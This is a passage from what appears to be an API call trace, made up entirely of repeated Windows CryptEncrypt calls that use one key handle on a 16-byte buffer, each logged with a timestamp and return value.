pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.741] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.742] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.743] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 